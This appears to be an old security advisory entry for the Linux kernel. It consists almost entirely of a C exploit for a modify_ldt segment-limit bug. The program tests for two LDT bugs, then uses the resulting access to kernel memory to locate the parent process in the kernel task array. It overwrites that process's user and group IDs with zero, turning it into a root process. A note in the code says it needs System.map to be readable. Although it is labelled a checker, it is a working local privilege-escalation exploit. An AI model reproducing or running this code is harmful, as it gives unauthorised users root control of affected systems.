COMMAND

    kernel

SYSTEMS AFFECTED

    linux

PROBLEM

---------------------------------------------------------------------------
/* Needs /System.map to be 644 */

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
/*#include <asm/sigcontext.h>*/
#define __KERNEL__
#include <linux/sched.h>
_syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)

#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
  while (size-- > 0)
    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
  int stat, i;
  struct modify_ldt_ldt_s ldt_entry;
  FILE *syms;
  char line[100];
  struct task_struct **task, *taskptr, thistask;
  pid_t ppid;

  printf ("Bogusity checker for modify_ldt system call.\n");

  printf ("Testing for page-size limit bug...\n");
  ldt_entry.entry_number = 0;
  ldt_entry.base_addr = 0xbfffffff;
  ldt_entry.limit = 0;
  ldt_entry.seg_32bit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  ldt_entry.read_exec_only = 0;
  ldt_entry.limit_in_pages = 1;
  ldt_entry.seg_not_present = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    /* Continue after reporting error.  */
    printf ("This bug has been fixed in your kernel.\n");
  else
    {
      printf ("Shit happens: ");
      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
    }

  printf ("Testing for expand-down limit bug...\n");
  ldt_entry.base_addr = 0x00000000;
  ldt_entry.limit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  ldt_entry.limit_in_pages = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    {
      printf ("This bug has been fixed in your kernel.\n");
      return 1;
    }
  else
    {
      printf ("Shit happens: ");
      printf ("0x00000000 - 0xfffffffd is accessible.\n");
    }

  syms = fopen ("/boot/zSystem.map", "r");
  if (!syms)
    {
      printf ("Couldn't open `/System.map' for reading.\n");
      return 1;
    }
  while (1)
    {
      line[0] = 0;
      fgets (line, sizeof (line) - 1, syms);
      if (strlen (line)<10)
        {
          printf ("Couldn't find the _task array symbol.\n");
          fclose (syms);
          return 1;
        }
      if (strcmp (line + 9, "D _task\n") == 0) break;
    }
  fclose (syms);

  task = (struct task_struct **) (KERNEL_BASE + strtol (line, 0, 16));
  ppid = getppid ();

  for (i = 0; i<NR_TASKS; i++)
    {
      memgetseg (&taskptr, 7, &task[i], sizeof (taskptr));
      if (taskptr)
        {
          (char *)taskptr += KERNEL_BASE;
          memgetseg (&thistask, 7, taskptr, sizeof (thistask));
          if (thistask.pid == ppid)
            {
              thistask.uid = thistask.euid = 0;
              thistask.gid = thistask.egid = 0;
              memputseg (7, taskptr, &thistask, sizeof (thistask));
              printf ("Shit happens: parent process is now root process.\n");
              return 0;
            }
        }
    }

  printf ("Strange things happens -- no parent process found.\n");
  return 1;
};
---------------------------------------------------------------------------